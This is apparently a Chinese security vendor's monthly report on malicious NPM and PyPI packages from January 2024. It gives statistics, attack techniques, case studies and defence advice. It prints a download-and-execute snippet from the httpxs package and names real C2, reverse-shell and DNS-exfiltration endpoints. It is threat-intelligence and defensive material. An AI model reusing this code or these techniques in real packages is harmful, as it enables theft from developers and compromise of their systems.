供应链投毒预警 | 开源供应链投毒 202401 最新月报来啦!
字数 2703 2025-08-22 12:22:36
开源供应链投毒攻击分析与防御指南
1. 供应链投毒概述
开源供应链投毒是指攻击者通过向开源软件仓库(如NPM、PyPI等)上传包含恶意代码的软件包,利用开发者对这些仓库的信任,在开发者安装或使用这些软件包时执行恶意行为。
1.1 2024年1月投毒统计数据
- 捕获总数:675个不同版本的恶意投毒包
- NPM仓库占比:90.48%
- PyPI仓库占比:9.52%
- 主要攻击目标:开发者系统的敏感数据(占比83%)
2. 主流投毒攻击方式
2.1 攻击方式分类及占比
- 恶意文件执行(77%)
- 代码混淆执行
- 恶意文件下载
- shell命令执行
- 恶意文件释放
- 恶意代码内存执行
2.2 攻击方式详解
2.2.1 恶意文件执行
- 原理:利用包管理器安装过程中执行自定义恶意指令
- 执行文件类型:py、pyc、js、shell、pe、dll、elf、so等
- 典型案例:
httpxs包:克隆合法httpx项目并植入恶意代码update-requests包:通过拼写错误诱骗开发者安装
2.2.2 恶意文件下载执行
-
流程:
- 投毒包中的恶意代码执行
- 从远程服务器下载下一阶段恶意程序
- 在受害者系统上执行
-
示例代码(httpxs包):
import requests
import subprocess
import threading
import os
path = os.environ["USERPROFILE"] + "\AppData\Local\explorer.exe"
def download():
response = requests.get("https://cdn.discordapp.com/attachments/.../run_for_money.exe?...")
with open(path, 'wb') as file:
file.write(response.content)
subprocess.run(path, shell=True)
2.2.3 恶意文件释放执行
-
实现方式:
- 捆绑恶意程序到投毒包中
- 将恶意代码编码后内嵌到代码文件中
-
典型案例(edgecompatible包):
- 捆绑伪装成msedge浏览器组件的木马
- 通过
index.js执行bin/autorun.bat - 利用UAC提示欺骗受害者提升权限
2.2.4 恶意代码内存执行
-
特点:
- 无文件落盘
- 动态分配RWX内存执行shellcode
- 高隐蔽性
-
典型案例(httprequesthub包):
- 多阶段攻击:
- 从远程服务器下载加密代码
- 解密后执行第二阶段代码
- 通过eval执行第三阶段代码
- 分配RWX内存执行shellcode
- 最终连接C2服务器:3478.qt-api-worker-threads.workers.dev
- 多阶段攻击:
2.2.5 反向shell后门
- 目标:Linux系统开发环境
- 实现:通过shell命令反弹控制
- 典型案例(tensrflwo包):
- 仿冒tensorflow框架
- 通过setup.py中的恶意函数反弹shell到59.110.111.85:8088
2.2.6 DNS查询外传信息
- 特点:隐蔽窃取信息
- 流程:
- 收集敏感数据
- 分块编码
- 通过DNS查询外传
- 典型案例(identity-auth包):
- 收集主机名、工作目录、用户名、外网IP
- 16进制编码后分块
- 通过nslookup发送到m4rwxmtkqz5wk2d1gfpk7fcqhhn8byzn.oastify.com
2.2.7 恶意代码混淆
- 目的:躲避静态分析
- 典型案例(noblox.js-proxy-server包):
- 通过postinstall执行混淆代码
- 下载并执行恶意bat文件
- bat文件下载最终payload:WindowsApi.exe
3. 攻击动机分析
-
窃取敏感信息(83%)
- 密码文件
- 用户信息
- 网络配置
- 系统版本
- DNS服务器IP
- 外网IP
- 浏览器cookie
-
远控木马
-
反向shell后门
4. 典型投毒案例分析
4.1 httpxs投毒包
- 目标:仿冒httpx HTTP客户端
- 攻击方式:
- 克隆合法项目
- 在
__init__.py植入恶意代码 - 下载执行run_for_money.exe(VT检测为木马)
4.2 edgecompatible投毒包
- 目标:Windows系统npm开发者
- 攻击流程:
- 执行
bin/autorun.bat - 检查管理员权限
- 通过UAC提示欺骗执行cookie_export.exe
- 加载恶意msedge.dll
- 解密执行msedge.dat中的payload
- 执行
4.3 httprequesthub投毒包
- 特点:多阶段无文件攻击
- 技术:
- 内存分配与执行
- 多层加密混淆
- 16轮shellcode解码
4.4 tensrflwo投毒包
- 仿冒对象:tensorflow框架
- 技术:通过setup.py执行反向shell
5. 防御与检测方案
5.1 排查工具
使用OpenSCA-cli进行扫描:
- 创建db.json文件(包含已知恶意包信息)
- 执行命令:
opensca-cli -db db.json -path ${project_path}
示例db.json:
[
{
"product": "httpxs",
"version": "[0.0.1,0.0.1]",
"language": "python",
"id": "XMIRROR-MAL45-4856A664",
"description": "Python恶意投毒包 httpxs"
},
{
"product": "edgecompatible",
"version": "[2.3.4,2.3.4]",
"language": "javascript",
"id": "XMIRROR-MAL45-921FB751",
"description": "NPM恶意投毒包 edgecompatible"
}
]
5.2 防御建议
-
依赖源管理
- 使用可信镜像源
- 定期更新依赖白名单
-
安装前检查
- 验证包名拼写
- 检查包下载量、维护者信息
- 查看源代码变更记录
-
运行时防护
- 限制包管理器的网络访问
- 监控异常进程行为
- 使用沙箱环境测试新依赖
-
开发环境加固
- 最小权限原则
- 定期审计依赖项
- 启用安全防护软件
6. 总结与趋势
- NPM是主要攻击目标
- 攻击手法多样化:
- 从简单文件执行到复杂内存攻击
- 增加混淆和对抗技术
- 检测挑战增大:
- 无文件攻击增多
- 多阶段攻击流程复杂化
- 防御重点:
- 供应链安全监控
- 行为检测而非单纯特征匹配
- 开发流程安全集成
附录:已知恶意包列表
| 包名 | 仓库 | 版本 | 语言 | 威胁ID |
|---|---|---|---|---|
| httpxs | PyPI | 0.0.1 | Python | XMIRROR-MAL45-4856A664 |
| update-requests | PyPI | 0.0.1 | Python | XMIRROR-MAL45-CA5ED059 |
| edgecompatible | NPM | 2.3.4 | JavaScript | XMIRROR-MAL45-921FB751 |
| httprequesthub | PyPI | 2.31.x | Python | XMIRROR-MAL45-5915236F |
| tensrflwo | PyPI | 2.5.1-2.9 | Python | XMIRROR-MAL45-777DD586 |
| identity-auth | NPM | 7.999.0-10.999.0 | JavaScript | XMIRROR-MALF5-F9282613 |
| noblox.js-proxy-server | NPM | 4.15.1-4.15.4 | JavaScript | XMIRROR-MAL45-52114A88 |